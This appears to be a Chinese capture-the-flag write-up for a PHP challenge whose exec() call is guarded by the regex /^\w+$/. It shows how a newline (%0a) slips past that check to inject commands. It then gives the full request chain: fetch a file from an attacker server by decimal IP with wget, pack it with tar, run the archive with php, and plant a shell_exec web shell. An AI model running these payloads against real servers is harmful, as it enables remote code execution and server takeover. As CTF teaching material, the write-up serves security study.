<?php
highlight_file(__FILE__); $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
if ( !file_exists($dir) )
mkdir($dir);
chdir($dir);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit();
}
exec("/bin/orange " . implode(" ", $args));
?>
if ( !preg_match('/^\w+$/', $args[$i]) )
exec("/bin/orange " . implode(" ", $args));
exec
的命令执行/^\w+$/
,这一部分要求传入的args参数必须以字母数字下划线开头,除此之外,在最后还有一个美元符号$
,需要明确的是:$
符号在PCRE中是会匹配\n
以及\r
前的位置的,结合后面exec
命令执行的部分,也就是说,我们可以使用换行符%0a
绕过执行其他命令。D
修饰符,那么就无法使用%0a
绕过,具体测试样例如下,这里就不过多阐述了,因为题目中没有这个修饰符。echo preg_match("/^\w+$/", "abc".chr(10));//1
echo preg_match("/^\w+$/D", "abc".chr(10));//0
exec
,单单使用一个exec
是无法将命令执行的结果回显出来,因此在后续做题就可能会产生这么几种思路:数据外带、写入shell等等echo 'xxx' > xx.php
,然而这题正则过滤了这些字符,因此可以使用另一种方法,就是将下载远程服务器上的文件,通过一些操作进行RCE1.php
,内容如下:<?php
echo 3 * 4;
echo "\n";
?>
1.php
放入一个文件夹a
中a
利用tar
打包,注意是打包,不是压缩tar cf b a
将文件夹a打包,并且生成b
php
命令去执行这个b
1.php
的执行结果3 * 4 = 12
b
这个文件呢?cat
查看b
中的文件b
文件中存在之前写入的1.php
的代码/^\w+$/
都是合法的,并且1.php
中的内容可控,因此可以通过这个方法写入shellindex.html
,文件内容如下:<?php
file_put_contents('shell.php', '
<?php
header("Content-Type: text/plain");
print shell_exec($_GET["cmd"]);
?>
');
?>
python3 -m http.server 80
6.6.6.6
的形式,带.
,不符合正则,因此可以使用十进制ip绕过<?php
echo ip2long("6.6.6.6");
?>
//101058054
upload
目录,对应上面测试的a
?args[]=l%0a&args[]=mkdir&args[]=upload
upload
目录,利用wget下载vps上的index.html
?args[]=l%0a&args[]=cd&args[]=upload%0a&args[]=wget&args[]=101058054
//注意:最后一个args为vps十进制ip值
upload
目录打包,打包后的名称为b
?args[]=l%0a&args[]=tar&args[]=cvf&args[]=b&args[]=upload
//将upload目录打包为b
b
目录,写入shell?args[]=l%0a&args[]=php&args[]=b
//执行b,写入shell
tar
打包的特性,将下载下来的index.html
打包,然后利用php
执行http.server
默认将index.html
作为首页,并且无法修改默认首页shell.php
,然后再利用wget
下载php文件进行getshell。征集原创技术文章中,欢迎投递
投稿邮箱:[email protected]
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。